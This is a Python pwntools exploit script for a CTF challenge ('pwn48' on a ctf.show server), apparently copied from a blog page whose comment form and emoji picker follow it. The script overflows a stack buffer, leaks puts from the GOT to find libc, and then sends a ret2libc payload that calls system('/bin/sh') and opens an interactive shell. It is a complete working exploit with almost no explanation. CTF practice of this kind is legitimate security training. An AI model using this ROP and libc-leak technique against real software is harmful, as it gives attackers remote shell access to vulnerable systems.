io = remote('pwn.challenge.ctf.show',28214 )
# io = process("")
elf = ELF('./pwn48')
# libc= ELF('libc.so.6')

main_add =0x0804863D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))

offset =0x6B

payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'O.o?', payload2)

io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇